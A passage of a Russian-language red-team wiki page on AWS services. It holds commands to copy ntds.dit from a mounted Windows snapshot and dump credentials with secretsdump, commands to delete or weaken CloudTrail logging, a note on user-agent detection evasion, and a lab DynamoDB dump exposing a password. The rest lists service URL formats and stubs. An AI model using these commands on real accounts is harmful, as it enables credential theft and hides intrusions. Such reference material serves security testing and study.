5. Создаем новый Linux EC2-инстанс, к которому будет прикреплен SnapShot&lt;br /&gt;
&lt;br /&gt;
6. Подключаемся по SSH и получаем данные из SnapShot&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sudo -s&lt;br /&gt;
mkdir /tmp/windows&lt;br /&gt;
mount /dev/xvdf1 /tmp/windows/&lt;br /&gt;
cd  /tmp/windows/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
7. Работаем с данными на примонтированном диске, который будет в /tmp/windows/. Пример команд для извлечения ntds.dit:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
cp /windows/Windows/NTDS/ntds.dit /home/ec2-user&lt;br /&gt;
cp /windows/Windows/System32/config/SYSTEM /home/ec2-user&lt;br /&gt;
chown ec2-user:ec2-user /home/ec2-user/*&lt;br /&gt;
# Sftp - скачиваем файлы:&lt;br /&gt;
/home/ec2-user/SYSTEM&lt;br /&gt;
/home/ec2-user/ntds.dit&lt;br /&gt;
# Получаем учетные данные, используя Impacket-secretsdump&lt;br /&gt;
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudTrail ==&lt;br /&gt;
&lt;br /&gt;
Сервис для аудита событий в AWS-аккаунте (включен в каждом аккаунте по-умолчанию). Сервис позволяет вести журналы, осуществлять непрерывный мониторинг и сохранять информацию об истории аккаунта в пределах всей используемой инфраструктуры AWS.&lt;br /&gt;
&lt;br /&gt;
Записывает:&lt;br /&gt;
&lt;br /&gt;
* API-вызовы&lt;br /&gt;
&lt;br /&gt;
* Логины в систему&lt;br /&gt;
&lt;br /&gt;
* События сервисов&lt;br /&gt;
&lt;br /&gt;
* ???&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важен при операциях RedTeam.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Название файла логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
AccountID_CloudTrail_RegionName_YYYYMMDDTHHmmZ_UniqueString.FileNameFormat&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
S3 путь до логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
BucketName/prefix/AWSLogs/AccountID/CloudTrail/RegionName/YYYY/MM/DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Путь у CloudTrail-Digest файлов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
s3://s3-bucket-name/optional-prefix/AWSLogs/aws-account-id/CloudTrail-Digest/region/digest-end-year/digest-end-month/digest-end-data/aws-account-id_CloudTrail-Digest_region_trail-name_region_digest_end_timestamp.json.gz&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Основные поля у событий:&lt;br /&gt;
&lt;br /&gt;
* eventName - имя API-endpoint&lt;br /&gt;
&lt;br /&gt;
* eventSource - вызванный сервис&lt;br /&gt;
&lt;br /&gt;
* eventTime - время события&lt;br /&gt;
&lt;br /&gt;
* SourceIPAddress - ip-адрес источника&lt;br /&gt;
&lt;br /&gt;
* userAgent - метод запроса&lt;br /&gt;
** &amp;quot;signing.amazonaws.com&amp;quot; - запрос от AWS Management Console&lt;br /&gt;
** &amp;quot;console.amazonaws.com&amp;quot; - запрос от root-пользователя аккаунта&lt;br /&gt;
** &amp;quot;lambda.amazonaws.com&amp;quot; - запрос от AWS Lambda&lt;br /&gt;
&lt;br /&gt;
* requestParameters - параметры запроса&lt;br /&gt;
&lt;br /&gt;
* responseElements - элементы ответа.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Временные параметры:&lt;br /&gt;
&lt;br /&gt;
* 5 минут - сохраняется новый лог-файл&lt;br /&gt;
&lt;br /&gt;
* 15 минут - сохраняется в S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важно! Сохраняется чексумма файлов, поэтому пользователи могут удостовериться что логи не менялись.&lt;br /&gt;
Также логи могут уходить напрямую в CloudWatch - администраторам может прилететь уведомление об ИБ-инцидентах. Или события могут быть проанализированы внутренним модулем CloudTrail - Insights на предмет необычной активности.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:DeleteTrail ====&lt;br /&gt;
&lt;br /&gt;
Позволяет отключить мониторинг:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:UpdateTrail ====&lt;br /&gt;
&lt;br /&gt;
Права на редактирование правил монитринга.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг глобальных сервисов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг на конкретные регионы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== validate-logs ====&lt;br /&gt;
&lt;br /&gt;
Проверить, были ли изменены логи.&lt;br /&gt;
&lt;br /&gt;
aws cloudtrail validate-logs --trail-arn &amp;lt;trailARN&amp;gt; --start-time &amp;lt;start-time&amp;gt; [--end-time &amp;lt;end-time&amp;gt;] [--s3-bucket &amp;lt;bucket-name&amp;gt;] [--s3-prefix &amp;lt;prefix&amp;gt;] [--verbose]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
==== Обход правила по UserAgent ====&lt;br /&gt;
&lt;br /&gt;
На сервисе есть правило, по которому определяет, что запросы были сделаны с kali/parrot/pentoo используя awscli.&lt;br /&gt;
&lt;br /&gt;
Для этого можно воспользоваться утилитой pacu, которая автоматически подменяет useragent. Использование утилиты в конце статьи.&lt;br /&gt;
&lt;br /&gt;
== DynamoDB ==&lt;br /&gt;
&lt;br /&gt;
Cистема управления базами данных класса NoSQL в формате «ключ — значение».&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:ListTables ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть спрсок таблиц базы данных.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb list-tables        &lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;TableNames&amp;quot;: [&lt;br /&gt;
        &amp;quot;users&amp;quot;&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:Scan ====&lt;br /&gt;
&lt;br /&gt;
Получение обьектов из базы данных:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[]'&lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;password&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Management@#1@#&amp;quot;&lt;br /&gt;
  },&lt;br /&gt;
  &amp;quot;username&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Mgmt&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ES (ElasticSearch) ==&lt;br /&gt;
&lt;br /&gt;
ElasticSearch от AWS. Используется для просмотра логов/журналов, поиска на вебсайте и тд.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.es.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ELB (Elastic Load Balancing) ==&lt;br /&gt;
&lt;br /&gt;
Балансировщик нагрузки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v1):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.elb.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== RDS (Relational Database Service) ==&lt;br /&gt;
&lt;br /&gt;
Облачная реляционная база данных (на выбор).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306&lt;br /&gt;
postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Route 53 ==&lt;br /&gt;
&lt;br /&gt;
Настраиваемая служба DNS.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== API Gateway ==&lt;br /&gt;
&lt;br /&gt;
API-сервис, который будет доступен почти со всех серверов.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{restapi_id}.execute-api.{region}.amazonaws.com/{stage_name}/&lt;br /&gt;
https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudSearch ==&lt;br /&gt;
&lt;br /&gt;
Альтернатива сервису ElasticSearch. Система для упрощения поиска для администрирования и, например, на вебсайте.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Transfer Family  ==&lt;br /&gt;
&lt;br /&gt;
Группа сервисов для передачи файлов (S3/EFS) по (SFTP, FTPS, FTP).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftps://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== IoT (Internet Of Things) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для управления IoT-устройствами.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mqtt://{random_id}.iot.{region}.amazonaws.com:8883&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:8443&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MQ ==&lt;br /&gt;
&lt;br /&gt;
Сервис брокера сообщений для Apache ActiveMQ &amp;amp; RabbitMQ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162&lt;br /&gt;
ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSK (Managed Streaming for Apache Kafka) ==&lt;br /&gt;
&lt;br /&gt;
Сервис потоковой передачи данных в Apache Kafka.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com&lt;br /&gt;
{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Cloud9 ==&lt;br /&gt;
&lt;br /&gt;
Облачная интегрированная среда разработки(IDE) используя только браузер.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.vfs.cloud9.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== MediaStore ==&lt;br /&gt;
&lt;br /&gt;
Cервис хранилища AWS, оптимизированный для мультимедийных материалов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.data.mediastore.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Kinesis Video Streams ==&lt;br /&gt;
&lt;br /&gt;
Обеспечивает простую и безопасную потоковую передачу видео с подключенных устройств в AWS для воспроизведения, аналитики, машинного обучения (ML) и других видов обработки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.kinesisvideo.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaConvert ==&lt;br /&gt;
&lt;br /&gt;
Сервис перекодирования видеофайлов с возможностями на уровне вещательных компаний. Он позволяет просто создавать контент в формате «видео по требованию» (VOD) для трансляций, в том числе мультиэкранных, в любом масштабе.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediaconvert.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaPackage ==&lt;br /&gt;
&lt;br /&gt;
Cервис для подготовки и защиты видеоконтента, распространяемого через Интернет. AWS Elemental MediaPackage использует один источник видео и создает на его основе специализированные видеопотоки для воспроизведения на подключенных телевизорах, мобильных телефонах, компьютерах, планшетах и игровых консолях.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== ECR (Elastic Container Registry) ==&lt;br /&gt;
&lt;br /&gt;
Региональный сервис, предназначенный для обеспечения гибкого развертывания образов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ecr:ListImages ====&lt;br /&gt;
&lt;br /&gt;
Получить список образов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr list-images --repository-name &amp;lt;ECR_name&amp;gt; --registry-id &amp;lt;UserID&amp;gt; --region &amp;lt;region&amp;gt; --profile &amp;lt;profile_name&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить URL на скачивание образа.&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer + ecr:BatchGetImage + ecr:GetAuthorizationToken ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скачать образ (мб потребуется и ecr:ListImages чтобы получить список образов):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr get-login&lt;br /&gt;
docker pull &amp;lt;UserID&amp;gt;.dkr.ecr.us-east-1.amazonaws.com/&amp;lt;ECRName&amp;gt;:latest&lt;br /&gt;
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Augmented AI (Amazon A2I) ==&lt;br /&gt;
&lt;br /&gt;
Предоставляет интерфейс для обработки человеком предварительных результатов, полученных с помощью машинного обучения.&lt;br /&gt;
&lt;br /&gt;
[[File:A2i.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
Данные сохраняются в S3, а также к задаче прикрепляется IAM-роль .&lt;br /&gt;
&lt;br /&gt;
При создании задачи разделяется на 3 варианта:&lt;br /&gt;
&lt;br /&gt;
* Textract - извлечение пары ключ-значение из текста&lt;br /&gt;
&lt;br /&gt;
* Rekognition - определение того, что изображено на фото. Например, чтобы оградить от 18+ контента.&lt;br /&gt;
&lt;br /&gt;
* Custom - пользовательский вариант&lt;br /&gt;
&lt;br /&gt;
Интересный факт - использует &amp;quot;Quill Rich Text Editor&amp;quot; для текста с инструкциями. То есть, если в нем будет уязвимость, то можно проверить амазон тоже.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/augmented-ai/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также у сервиса есть Workers - сервера, выполняющие кучу тасков. Они могут быть трех типов:&lt;br /&gt;
&lt;br /&gt;
1. Amazon Mechanical Turk - тупо сервера Amazon, за которые надо платить.&lt;br /&gt;
&lt;br /&gt;
2. Private - юзают если обрабатывают приватную инфу или задачи, не поддерживаемые первым пунктом (ну или регион не поддерживается). Это команды, которые имеют доступ к данным и которые могут запускать задачи. Команды менеджарятся с Amazon Cognito.&lt;br /&gt;
&lt;br /&gt;
3. Vendor - решения сторонних разработчиков.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли ===&lt;br /&gt;
&lt;br /&gt;
==== AmazonAugmentedAIIntegratedAPIAccess ====&lt;br /&gt;
&lt;br /&gt;
Дает доступ к Augmented AI Runtime, Amazon Rekognition или Amazon Textract API.&lt;br /&gt;
&lt;br /&gt;
TODO: проверить, дает ли это еще возможностей злоумышленнику&lt;br /&gt;
&lt;br /&gt;
== CodeGuru ==&lt;br /&gt;
&lt;br /&gt;
Автоматизируйте проверку кода и оптимизируйте производительность приложений с помощью рекомендаций на базе машинного обучения&lt;br /&gt;
&lt;br /&gt;
[[File:Aws codeguru.png| 1000px]]&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/codeguru/&lt;br /&gt;
&lt;br /&gt;
Разделяется на следующие части:&lt;br /&gt;
&lt;br /&gt;
- Reviewer - выявляет критические проблемы, уязвимости системы безопасности и трудноуловимые ошибки + дает рекомендации (языки Java и Python) - статикой.&lt;br /&gt;
&lt;br /&gt;
- Profiler - выявление самых дорогостоящих строк, повышение производительности и тд засчет запуска в среде выполнения. Важно особенно для тех, кто платит за время работы скриптов.&lt;br /&gt;
&lt;br /&gt;
Также на странице есть упоминание про их игру - BugBust &lt;br /&gt;
&lt;br /&gt;
https://us-east-1.console.aws.amazon.com/codeguru/bugbust/participant#/&lt;br /&gt;
&lt;br /&gt;
== Comprehend ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/comprehend/&lt;br /&gt;
&lt;br /&gt;
Сервис по извлечению ценной информации из текста и работе с ним.&lt;br /&gt;
&lt;br /&gt;
[[File:Aws comprehend.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
Список категорий, на которые может разбить текст, есть на фото выше.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Для пользовательских настроек есть несколько параметров:&lt;br /&gt;
&lt;br /&gt;
- Кастомные классификации&lt;br /&gt;
&lt;br /&gt;
- Кастомные определения вставок в тексте&lt;br /&gt;
&lt;br /&gt;
- Endpoints - для real-time работы. !!! Достаточно дорогой сервис. В месяц берет 1400$ при минимальной сборке, поэтому если злоумышленник сможет запускать в нем Endpoint'ы в большом количестве, то компания обанкротится.&lt;br /&gt;
&lt;br /&gt;
== DevOps Guru ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/devops-guru/&lt;br /&gt;
&lt;br /&gt;
Собирает метрики из различных сервисов и детектит различные аномалии. Проще говоря, делает статистику по метрикам и с машинным обучением находит ошибки.&lt;br /&gt;
&lt;br /&gt;
Источники метрик:&lt;br /&gt;
&lt;br /&gt;
* CloudWatch&lt;br /&gt;
&lt;br /&gt;
* AWS Config&lt;br /&gt;
&lt;br /&gt;
* CloudTrail&lt;br /&gt;
&lt;br /&gt;
* X-Ray&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Если рассуждать со стороны злоумышленника, то если у него есть доступ к DevOps Guru, то у него также есть AIM-роль &amp;quot;Amazon DevOps Guru_Role&amp;quot; и привилегии на доступ к следующим ресурсам:&lt;br /&gt;
&lt;br /&gt;
* Amazon CloudWatch&lt;br /&gt;
&lt;br /&gt;
* Amazon CloudWatch Events&lt;br /&gt;
&lt;br /&gt;
* Amazon CloudWatch Logs&lt;br /&gt;
&lt;br /&gt;
* AWS CodeDeploy&lt;br /&gt;
&lt;br /&gt;
* AWS CodePipeline&lt;br /&gt;
&lt;br /&gt;
* AWS CloudFormation&lt;br /&gt;
&lt;br /&gt;
* AWS CloudTrail&lt;br /&gt;
&lt;br /&gt;
* AWS Systems Manager&lt;br /&gt;
&lt;br /&gt;
* AWS X-Ray&lt;br /&gt;
&lt;br /&gt;
== Elastic Inference ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/elastic-inference/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Forecast ==&lt;br /&gt;
&lt;br /&gt;
Служба прогнозирования временных рядов используя машинное обучение (предсказывание последующих событий).&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/forecast/&lt;br /&gt;
&lt;br /&gt;
При настройке можно выбрать один из forecasting-доменов:&lt;br /&gt;
&lt;br /&gt;
* Retail&lt;br /&gt;
&lt;br /&gt;
* Custom&lt;br /&gt;
&lt;br /&gt;
* Inventory planning&lt;br /&gt;
&lt;br /&gt;
* EC2 capacity&lt;br /&gt;
&lt;br /&gt;
* Work force&lt;br /&gt;
&lt;br /&gt;
* Web traffic&lt;br /&gt;
&lt;br /&gt;
* Metrics&lt;br /&gt;
&lt;br /&gt;
Формально это шаблоны для быстрой настройки сервиса.&lt;br /&gt;
&lt;br /&gt;
Если у атакующего есть привилегии данного сервиса, то можно предположить, что он тоже может получать те же данные (например, количество трафика), что и сам сервис&lt;br /&gt;
&lt;br /&gt;
== Fraud Detector ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/fraud-detector/&lt;br /&gt;
&lt;br /&gt;
&amp;quot;Разработка и развертывание моделей выявления мошенничества используя машинное обучение&amp;quot;&lt;br /&gt;
&lt;br /&gt;
== HealthLake ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/healthlake/&lt;br /&gt;
&lt;br /&gt;
== Kendra == &lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/kendra/?did=ap_card&amp;amp;trk=ap_card&lt;br /&gt;
&lt;br /&gt;
== Lex ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lex/?did=ap_card&amp;amp;trk=ap_card&lt;br /&gt;
&lt;br /&gt;
== Lookout for Equipment ==&lt;br /&gt;
&lt;br /&gt;
